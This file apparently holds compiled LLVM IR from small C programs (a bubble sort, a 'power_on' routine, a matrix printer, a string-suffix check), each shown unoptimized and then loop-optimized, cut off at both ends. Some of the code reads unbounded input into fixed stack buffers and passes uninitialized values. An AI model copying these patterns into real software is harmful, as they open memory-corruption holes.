= private unnamed_addr constant [23 x i8] c"\0AThe Sorted array is \0A\00", align 1 @.str.10 = private unnamed_addr constant [2 x i8] c"\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca i32, align 4 %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca i32, align 4 %6 = alloca [10 x i32], align 16 %7 = alloca i32, align 4 store i32 0, ptr %1, align 4 %8 = call i32 (ptr, ...) @printf(ptr noundef @.str) %9 = call i32 (ptr, ...) @printf(ptr noundef @.str.1) %10 = call i32 (ptr, ...) @printf(ptr noundef @.str.2) %11 = call i32 (ptr, ...) @printf(ptr noundef @.str.3) %12 = call i32 @scanf(ptr noundef @.str.4, ptr noundef %2) %13 = call i32 (ptr, ...) @printf(ptr noundef @.str.5) store i32 0, ptr %3, align 4 %14 = load i32, ptr %3, align 4 %15 = load i32, ptr %2, align 4 %16 = icmp slt i32 %14, %15 br i1 %16, label %.lr.ph, label %28 .lr.ph: ; preds = %0 br label %17 17: ; preds = %.lr.ph, %22 %18 = load i32, ptr %3, align 4 %19 = sext i32 %18 to i64 %20 = getelementptr inbounds [10 x i32], ptr %6, i64 0, i64 %19 %21 = call i32 @scanf(ptr noundef @.str.4, ptr noundef %20) br label %22 22: ; preds = %17 %23 = load i32, ptr %3, align 4 %24 = add nsw i32 %23, 1 store i32 %24, ptr %3, align 4 %25 = load i32, ptr %3, align 4 %26 = load i32, ptr %2, align 4 %27 = icmp slt i32 %25, %26 br i1 %27, label %17, label %._crit_edge, !llvm.loop !6 ._crit_edge: ; preds = %22 br label %28 28: ; preds = %._crit_edge, %0 store i32 0, ptr %3, align 4 %29 = load i32, ptr %3, align 4 %30 = load i32, ptr %2, align 4 %31 = sub nsw i32 %30, 1 %32 = icmp slt i32 %29, %31 br i1 %32, label %.lr.ph8, label %110 .lr.ph8: ; preds = %28 br label %33 33: ; preds = %.lr.ph8, %103 store i32 0, ptr %4, align 4 %34 = load i32, ptr %4, align 4 %35 = load i32, ptr %2, align 4 %36 = load i32, ptr %3, align 4 %37 = sub nsw i32 %35, %36 %38 = sub nsw i32 %37, 1 %39 = icmp slt i32 %34, %38 br i1 %39, label %.lr.ph5, label %99 .lr.ph5: ; preds = %33 br label %40 40: ; preds = %.lr.ph5, %90 %41 = load i32, ptr %4, align 4 %42 = sext i32 %41 to i64 %43 = getelementptr inbounds [10 x i32], ptr %6, i64 0, i64 %42 %44 = load i32, ptr %43, align 4 %45 = load i32, ptr %4, align 4 %46 = add nsw i32 %45, 1 %47 = sext i32 %46 to i64 %48 = getelementptr inbounds [10 x i32], ptr %6, i64 0, i64 %47 %49 = load i32, ptr %48, align 4 %50 = icmp sgt i32 %44, %49 br i1 %50, label %51, label %69 51: ; preds = %40 %52 = load i32, ptr %4, align 4 %53 = sext i32 %52 to i64 %54 = getelementptr inbounds [10 x i32], ptr %6, i64 0, i64 %53 %55 = load i32, ptr %54, align 4 store i32 %55, ptr %7, align 4 %56 = load i32, ptr %4, align 4 %57 = add nsw i32 %56, 1 %58 = sext i32 %57 to i64 %59 = getelementptr inbounds [10 x i32], ptr %6, i64 0, i64 %58 %60 = load i32, ptr %59, align 4 %61 = load i32, ptr %4, align 4 %62 = sext i32 %61 to i64 %63 = getelementptr inbounds [10 x i32], ptr %6, i64 0, i64 %62 store i32 %60, ptr %63, align 4 %64 = load i32, ptr %7, align 4 %65 = load i32, ptr %4, align 4 %66 = add nsw i32 %65, 1 %67 = sext i32 %66 to i64 %68 = getelementptr inbounds [10 x i32], ptr %6, i64 0, i64 %67 store i32 %64, ptr %68, align 4 br label %69 69: ; preds = %51, %40 %70 = load i32, ptr %3, align 4 %71 = load i32, ptr %4, align 4 %72 = call i32 (ptr, ...) @printf(ptr noundef @.str.6, i32 noundef %70, i32 noundef %71) store i32 0, ptr %5, align 4 %73 = load i32, ptr %5, align 4 %74 = load i32, ptr %2, align 4 %75 = icmp slt i32 %73, %74 br i1 %75, label %.lr.ph2, label %88 .lr.ph2: ; preds = %69 br label %76 76: ; preds = %.lr.ph2, %82 %77 = load i32, ptr %5, align 4 %78 = sext i32 %77 to i64 %79 = getelementptr inbounds [10 x i32], ptr %6, i64 0, i64 %78 %80 = load i32, ptr %79, align 4 %81 = call i32 (ptr, ...) @printf(ptr noundef @.str.7, i32 noundef %80) br label %82 82: ; preds = %76 %83 = load i32, ptr %5, align 4 %84 = add nsw i32 %83, 1 store i32 %84, ptr %5, align 4 %85 = load i32, ptr %5, align 4 %86 = load i32, ptr %2, align 4 %87 = icmp slt i32 %85, %86 br i1 %87, label %76, label %._crit_edge3, !llvm.loop !8 ._crit_edge3: ; preds = %82 br label %88 88: ; preds = %._crit_edge3, %69 %89 = call i32 (...) @getchar() br label %90 90: ; preds = %88 %91 = load i32, ptr %4, align 4 %92 = add nsw i32 %91, 1 store i32 %92, ptr %4, align 4 %93 = load i32, ptr %4, align 4 %94 = load i32, ptr %2, align 4 %95 = load i32, ptr %3, align 4 %96 = sub nsw i32 %94, %95 %97 = sub nsw i32 %96, 1 %98 = icmp slt i32 %93, %97 br i1 %98, label %40, label %._crit_edge6, !llvm.loop !9 ._crit_edge6: ; preds = %90 br label %99 99: ; preds = %._crit_edge6, %33 %100 = load i32, ptr %3, align 4 %101 = add nsw i32 %100, 1 %102 = call i32 (ptr, ...) @printf(ptr noundef @.str.8, i32 noundef %101) br label %103 103: ; preds = %99 %104 = load i32, ptr %3, align 4 %105 = add nsw i32 %104, 1 store i32 %105, ptr %3, align 4 %106 = load i32, ptr %3, align 4 %107 = load i32, ptr %2, align 4 %108 = sub nsw i32 %107, 1 %109 = icmp slt i32 %106, %108 br i1 %109, label %33, label %._crit_edge9, !llvm.loop !10 ._crit_edge9: ; preds = %103 br label %110 110: ; preds = %._crit_edge9, %28 %111 = call i32 (ptr, ...) @printf(ptr noundef @.str.9) store i32 0, ptr %3, align 4 %112 = load i32, ptr %3, align 4 %113 = load i32, ptr %2, align 4 %114 = icmp slt i32 %112, %113 br i1 %114, label %.lr.ph11, label %127 .lr.ph11: ; preds = %110 br label %115 115: ; preds = %.lr.ph11, %121 %116 = load i32, ptr %3, align 4 %117 = sext i32 %116 to i64 %118 = getelementptr inbounds [10 x i32], ptr %6, i64 0, i64 %117 %119 = load i32, ptr %118, align 4 %120 = call i32 (ptr, ...) @printf(ptr noundef @.str.7, i32 noundef %119) br label %121 121: ; preds = %115 %122 = load i32, ptr %3, align 4 %123 = add nsw i32 %122, 1 store i32 %123, ptr %3, align 4 %124 = load i32, ptr %3, align 4 %125 = load i32, ptr %2, align 4 %126 = icmp slt i32 %124, %125 br i1 %126, label %115, label %._crit_edge12, !llvm.loop !11 ._crit_edge12: ; preds = %121 br label %127 127: ; preds = %._crit_edge12, %110 %128 = call i32 (ptr, ...) @printf(ptr noundef @.str.10) ret i32 0 } declare i32 @printf(ptr noundef, ...) #1 declare i32 @scanf(ptr noundef, ptr noundef) #1 declare i32 @getchar(...) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"} !8 = distinct !{!8, !7} !9 = distinct !{!9, !7} !10 = distinct !{!10, !7} !11 = distinct !{!11, !7}
; ModuleID = '/tmp/tmpwp7am1q7.c' source_filename = "/tmp/tmpwp7am1q7.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [12 x i8] c"%d %d %d %s\00", align 1 @.str.1 = private unnamed_addr constant [4 x i8] c"ok\0A\00", align 1 @.str.2 = private unnamed_addr constant [7 x i8] c"error\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @power_on() #0 { %1 = alloca i32, align 4 %2 = alloca i32, align 4 %3 = alloca i32, align 4 %4 = alloca [1024 x i8], align 16 %5 = alloca i32, align 4 %6 = alloca [32 x i8], align 16 %7 = getelementptr inbounds [1024 x i8], ptr %4, i64 0, i64 0 %8 = call i32 @scanf(ptr noundef @.str, ptr noundef %1, ptr noundef %2, ptr noundef %3, ptr noundef %7) %9 = load i32, ptr %1, align 4 %10 = load i32, ptr %2, align 4 %11 = load i32, ptr %3, align 4 %12 = getelementptr inbounds [1024 x i8], ptr %4, i64 0, i64 0 %13 = load i32, ptr %5, align 4 %14 = getelementptr inbounds [32 x i8], ptr %6, i64 0, i64 0 %15 = call i64 @vmon(i32 noundef %9, i32 noundef %10, i32 noundef %11, ptr noundef %12, i32 noundef %13, ptr noundef %14) %16 = icmp ne i64 %15, 0 br i1 %16, label %17, label %19 17: ; preds = %0 %18 = call i32 @printf(ptr noundef @.str.1) br label %21 19: ; preds = %0 %20 = call i32 @printf(ptr noundef @.str.2) br label %21 21: ; preds = %19, %17 ret void } declare i32 @scanf(ptr noundef, ptr noundef, ptr noundef, ptr noundef, ptr noundef) #1 declare i64 @vmon(i32 noundef, i32 noundef, i32 noundef, ptr noundef, i32 noundef, ptr noundef) #1 declare i32 @printf(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpwp7am1q7.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [12 x i8] c"%d %d %d %s\00", align 1 @.str.1 = private unnamed_addr constant [4 x i8] c"ok\0A\00", align 1 @.str.2 = private unnamed_addr constant [7 x i8] c"error\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @power_on() #0 { %1 = alloca i32, align 4 %2 = alloca i32, align 4 %3 = alloca i32, align 4 %4 = alloca [1024 x i8], align 16 %5 = alloca i32, align 4 %6 = alloca [32 x i8], align 16 %7 = getelementptr inbounds [1024 x i8], ptr %4, i64 0, i64 0 %8 = call i32 @scanf(ptr noundef @.str, ptr noundef %1, ptr noundef %2, ptr noundef %3, ptr noundef %7) %9 = load i32, ptr %1, align 4 %10 = load i32, ptr %2, align 4 %11 = load i32, ptr %3, align 4 %12 = getelementptr inbounds [1024 x i8], ptr %4, i64 0, i64 0 %13 = load i32, ptr %5, align 4 %14 = getelementptr inbounds [32 x i8], ptr %6, i64 0, i64 0 %15 = call i64 @vmon(i32 noundef %9, i32 noundef %10, i32 noundef %11, ptr noundef %12, i32 noundef %13, ptr noundef %14) %16 = icmp ne i64 %15, 0 br i1 %16, label %17, label %19 17: ; preds = %0 %18 = call i32 @printf(ptr noundef @.str.1) br label %21 19: ; preds = %0 %20 = call i32 @printf(ptr noundef @.str.2) br label %21 21: ; preds = %19, %17 ret void } declare i32 @scanf(ptr noundef, ptr noundef, ptr noundef, ptr noundef, ptr noundef) #1 declare i64 @vmon(i32 noundef, i32 noundef, i32 noundef, ptr noundef, i32 noundef, ptr noundef) #1 declare i32 @printf(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpab5q8hx8.c' source_filename = "/tmp/tmpab5q8hx8.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [8 x i8] c"\0A\0A | \00", align 1 @.str.1 = private unnamed_addr constant [4 x i8] c"%c \00", align 1 @.str.2 = private unnamed_addr constant [7 x i8] c"\0A---+-\00", align 1 @.str.3 = private unnamed_addr constant [3 x i8] c"--\00", align 1 @.str.4 = private unnamed_addr constant [8 x i8] c"\0A %c | \00", align 1 @.str.5 = private unnamed_addr constant [4 x i8] c"%i \00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @print_matrix(ptr noundef %0, ptr noundef %1, i32 noundef %2, i32 noundef %3, ptr noundef %4) #0 { %6 = alloca ptr, align 8 %7 = alloca ptr, align 8 %8 = alloca i32, align 4 %9 = alloca i32, align 4 %10 = alloca ptr, align 8 %11 = alloca i32, align 4 %12 = alloca i32, align 4 store ptr %0, ptr %6, align 8 store ptr %1, ptr %7, align 8 store i32 %2, ptr %8, align 4 store i32 %3, ptr %9, align 4 store ptr %4, ptr %10, align 8 %13 = call i32 (ptr, ...) @printf(ptr noundef @.str) store i32 0, ptr %12, align 4 br label %14 14: ; preds = %26, %5 %15 = load i32, ptr %12, align 4 %16 = load i32, ptr %9, align 4 %17 = icmp slt i32 %15, %16 br i1 %17, label %18, label %29 18: ; preds = %14 %19 = load ptr, ptr %7, align 8 %20 = load i32, ptr %12, align 4 %21 = sext i32 %20 to i64 %22 = getelementptr inbounds i8, ptr %19, i64 %21 %23 = load i8, ptr %22, align 1 %24 = sext i8 %23 to i32 %25 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, i32 noundef %24) br label %26 26: ; preds = %18 %27 = load i32, ptr %12, align 4 %28 = add nsw i32 %27, 1 store i32 %28, ptr %12, align 4 br label %14, !llvm.loop !6 29: ; preds = %14 %30 = call i32 (ptr, ...) @printf(ptr noundef @.str.2) store i32 0, ptr %12, align 4 br label %31 31: ; preds = %37, %29 %32 = load i32, ptr %12, align 4 %33 = load i32, ptr %9, align 4 %34 = icmp slt i32 %32, %33 br i1 %34, label %35, label %40 35: ; preds = %31 %36 = call i32 (ptr, ...) @printf(ptr noundef @.str.3) br label %37 37: ; preds = %35 %38 = load i32, ptr %12, align 4 %39 = add nsw i32 %38, 1 store i32 %39, ptr %12, align 4 br label %31, !llvm.loop !8 40: ; preds = %31 store i32 0, ptr %11, align 4 br label %41 41: ; preds = %72, %40 %42 = load i32, ptr %11, align 4 %43 = load i32, ptr %8, align 4 %44 = icmp slt i32 %42, %43 br i1 %44, label %45, label %75 45: ; preds = %41 %46 = load ptr, ptr %6, align 8 %47 = load i32, ptr %11, align 4 %48 = sext i32 %47 to i64 %49 = getelementptr inbounds i8, ptr %46, i64 %48 %50 = load i8, ptr %49, align 1 %51 = sext i8 %50 to i32 %52 = call i32 (ptr, ...) @printf(ptr noundef @.str.4, i32 noundef %51) store i32 0, ptr %12, align 4 br label %53 53: ; preds = %68, %45 %54 = load i32, ptr %12, align 4 %55 = load i32, ptr %9, align 4 %56 = icmp slt i32 %54, %55 br i1 %56, label %57, label %71 57: ; preds = %53 %58 = load ptr, ptr %10, align 8 %59 = load i32, ptr %11, align 4 %60 = sext i32 %59 to i64 %61 = getelementptr inbounds ptr, ptr %58, i64 %60 %62 = load ptr, ptr %61, align 8 %63 = load i32, ptr %12, align 4 %64 = sext i32 %63 to i64 %65 = getelementptr inbounds i32, ptr %62, i64 %64 %66 = load i32, ptr %65, align 4 %67 = call i32 (ptr, ...) @printf(ptr noundef @.str.5, i32 noundef %66) br label %68 68: ; preds = %57 %69 = load i32, ptr %12, align 4 %70 = add nsw i32 %69, 1 store i32 %70, ptr %12, align 4 br label %53, !llvm.loop !9 71: ; preds = %53 br label %72 72: ; preds = %71 %73 = load i32, ptr %11, align 4 %74 = add nsw i32 %73, 1 store i32 %74, ptr %11, align 4 br label %41, !llvm.loop !10 75: ; preds = %41 ret i32 0 } declare i32 @printf(ptr noundef, ...) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"} !8 = distinct !{!8, !7} !9 = distinct !{!9, !7} !10 = distinct !{!10, !7}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpab5q8hx8.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [8 x i8] c"\0A\0A | \00", align 1 @.str.1 = private unnamed_addr constant [4 x i8] c"%c \00", align 1 @.str.2 = private unnamed_addr constant [7 x i8] c"\0A---+-\00", align 1 @.str.3 = private unnamed_addr constant [3 x i8] c"--\00", align 1 @.str.4 = private unnamed_addr constant [8 x i8] c"\0A %c | \00", align 1 @.str.5 = private unnamed_addr constant [4 x i8] c"%i \00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @print_matrix(ptr noundef %0, ptr noundef %1, i32 noundef %2, i32 noundef %3, ptr noundef %4) #0 { %6 = alloca ptr, align 8 %7 = alloca ptr, align 8 %8 = alloca i32, align 4 %9 = alloca i32, align 4 %10 = alloca ptr, align 8 %11 = alloca i32, align 4 %12 = alloca i32, align 4 store ptr %0, ptr %6, align 8 store ptr %1, ptr %7, align 8 store i32 %2, ptr %8, align 4 store i32 %3, ptr %9, align 4 store ptr %4, ptr %10, align 8 %13 = call i32 (ptr, ...) @printf(ptr noundef @.str) store i32 0, ptr %12, align 4 %14 = load i32, ptr %12, align 4 %15 = load i32, ptr %9, align 4 %16 = icmp slt i32 %14, %15 br i1 %16, label %.lr.ph, label %31 .lr.ph: ; preds = %5 br label %17 17: ; preds = %.lr.ph, %25 %18 = load ptr, ptr %7, align 8 %19 = load i32, ptr %12, align 4 %20 = sext i32 %19 to i64 %21 = getelementptr inbounds i8, ptr %18, i64 %20 %22 = load i8, ptr %21, align 1 %23 = sext i8 %22 to i32 %24 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, i32 noundef %23) br label %25 25: ; preds = %17 %26 = load i32, ptr %12, align 4 %27 = add nsw i32 %26, 1 store i32 %27, ptr %12, align 4 %28 = load i32, ptr %12, align 4 %29 = load i32, ptr %9, align 4 %30 = icmp slt i32 %28, %29 br i1 %30, label %17, label %._crit_edge, !llvm.loop !6 ._crit_edge: ; preds = %25 br label %31 31: ; preds = %._crit_edge, %5 %32 = call i32 (ptr, ...) @printf(ptr noundef @.str.2) store i32 0, ptr %12, align 4 %33 = load i32, ptr %12, align 4 %34 = load i32, ptr %9, align 4 %35 = icmp slt i32 %33, %34 br i1 %35, label %.lr.ph2, label %44 .lr.ph2: ; preds = %31 br label %36 36: ; preds = %.lr.ph2, %38 %37 = call i32 (ptr, ...) @printf(ptr noundef @.str.3) br label %38 38: ; preds = %36 %39 = load i32, ptr %12, align 4 %40 = add nsw i32 %39, 1 store i32 %40, ptr %12, align 4 %41 = load i32, ptr %12, align 4 %42 = load i32, ptr %9, align 4 %43 = icmp slt i32 %41, %42 br i1 %43, label %36, label %._crit_edge3, !llvm.loop !8 ._crit_edge3: ; preds = %38 br label %44 44: ; preds = %._crit_edge3, %31 store i32 0, ptr %11, align 4 %45 = load i32, ptr %11, align 4 %46 = load i32, ptr %8, align 4 %47 = icmp slt i32 %45, %46 br i1 %47, label %.lr.ph8, label %83 .lr.ph8: ; preds = %44 br label %48 48: ; preds = %.lr.ph8, %77 %49 = load ptr, ptr %6, align 8 %50 = load i32, ptr %11, align 4 %51 = sext i32 %50 to i64 %52 = getelementptr inbounds i8, ptr %49, i64 %51 %53 = load i8, ptr %52, align 1 %54 = sext i8 %53 to i32 %55 = call i32 (ptr, ...) @printf(ptr noundef @.str.4, i32 noundef %54) store i32 0, ptr %12, align 4 %56 = load i32, ptr %12, align 4 %57 = load i32, ptr %9, align 4 %58 = icmp slt i32 %56, %57 br i1 %58, label %.lr.ph5, label %76 .lr.ph5: ; preds = %48 br label %59 59: ; preds = %.lr.ph5, %70 %60 = load ptr, ptr %10, align 8 %61 = load i32, ptr %11, align 4 %62 = sext i32 %61 to i64 %63 = getelementptr inbounds ptr, ptr %60, i64 %62 %64 = load ptr, ptr %63, align 8 %65 = load i32, ptr %12, align 4 %66 = sext i32 %65 to i64 %67 = getelementptr inbounds i32, ptr %64, i64 %66 %68 = load i32, ptr %67, align 4 %69 = call i32 (ptr, ...) @printf(ptr noundef @.str.5, i32 noundef %68) br label %70 70: ; preds = %59 %71 = load i32, ptr %12, align 4 %72 = add nsw i32 %71, 1 store i32 %72, ptr %12, align 4 %73 = load i32, ptr %12, align 4 %74 = load i32, ptr %9, align 4 %75 = icmp slt i32 %73, %74 br i1 %75, label %59, label %._crit_edge6, !llvm.loop !9 ._crit_edge6: ; preds = %70 br label %76 76: ; preds = %._crit_edge6, %48 br label %77 77: ; preds = %76 %78 = load i32, ptr %11, align 4 %79 = add nsw i32 %78, 1 store i32 %79, ptr %11, align 4 %80 = load i32, ptr %11, align 4 %81 = load i32, ptr %8, align 4 %82 = icmp slt i32 %80, %81 br i1 %82, label %48, label %._crit_edge9, !llvm.loop !10 ._crit_edge9: ; preds = %77 br label %83 83: ; preds = %._crit_edge9, %44 ret i32 0 } declare i32 @printf(ptr noundef, ...) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"} !8 = distinct !{!8, !7} !9 = distinct !{!9, !7} !10 = distinct !{!10, !7}
; ModuleID = '/tmp/tmpva7zz55b.c' source_filename = "/tmp/tmpva7zz55b.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @flu_strends(ptr noundef %0, ptr noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca ptr, align 8 %5 = alloca ptr, align 8 %6 = alloca i64, align 8 %7 = alloca i64, align 8 store ptr %0, ptr %4, align 8 store ptr %1, ptr %5, align 8 %8 = load ptr, ptr %4, align 8 %9 = call i64 @strlen(ptr noundef %8) store i64 %9, ptr %6, align 8 %10 = load ptr, ptr %5, align 8 %11 = call i64 @strlen(ptr noundef %10) store i64 %11, ptr %7, align 8 %12 = load i64, ptr %7, align 8 %13 = load i64, ptr %6, align 8 %14 = icmp ugt i64 %12, %13 br i1 %14, label %15, label %16 15: ; preds = %2 store i32 0, ptr %3, align 4 br label %28 16: ; preds = %2 %17 = load ptr, ptr %4, align 8 %18 = load i64, ptr %6, align 8 %19 = getelementptr inbounds i8, ptr %17, i64 %18 %20 = load i64, ptr %7, align 8 %21 = sub i64 0, %20 %22 = getelementptr inbounds i8, ptr %19, i64 %21 %23 = load ptr, ptr %5, align 8 %24 = load i64, ptr %7, align 8 %25 = call i64 @strncmp(ptr noundef %22, ptr noundef %23, i64 noundef %24) %26 = icmp eq i64 %25, 0 %27 = zext i1 %26 to i32 store i32 %27, ptr %3, align 4 br label %28 28: ; preds = %16, %15 %29 = load i32, ptr %3, align 4 ret i32 %29 } declare i64 @strlen(ptr noundef) #1 declare i64 @strncmp(ptr noundef, ptr noundef, i64 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpva7zz55b.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @flu_strends(ptr noundef %0, ptr noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca ptr, align 8 %5 = alloca ptr, align 8 %6 = alloca i64, align 8 %7 = alloca i64, align 8 store ptr %0, ptr %4, align 8 store ptr %1, ptr %5, align 8 %8 = load ptr, ptr %4, align 8 %9 = call i64 @strlen(ptr noundef %8) store i64 %9, ptr %6, align 8 %10 = load ptr, ptr %5, align 8 %11 = call i64 @strlen(ptr noundef %10) store i64 %11, ptr %7, align 8 %12 = load i64, ptr %7, align 8 %13 = load i64, ptr %6, align 8 %14 = icmp ugt i64 %12, %13 br i1 %14, label %15, label %16 15: ; preds = %2 store i32 0, ptr %3, align 4 br label %28 16: ; preds = %2 %17 = load ptr, ptr %4, align 8 %18 = load i64, ptr %6, align 8 %19 = getelementptr inbounds i8, ptr %17, i64 %18 %20 = load i64, ptr %7, align 8 %21 = sub i64 0, %20 %22 = getelementptr inbounds i8, ptr %19, i64 %21 %23 = load ptr, ptr %5, align 8 %24 = load i64, ptr %7, align 8 %25 = call i64 @strncmp(ptr noundef %22, ptr noundef %23, i64 noundef %24) %26 = icmp eq i64 %25, 0 %27 = zext i1 %26 to i32 store i32 %27, ptr %3, align 4 br label %28 28: ; preds = %16, %15 %29 = load i32, ptr %3, align 4 ret i32 %29 } declare i64 @strlen(ptr noundef) #1 declare i64 @strncmp(ptr noundef, ptr noundef, i64 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 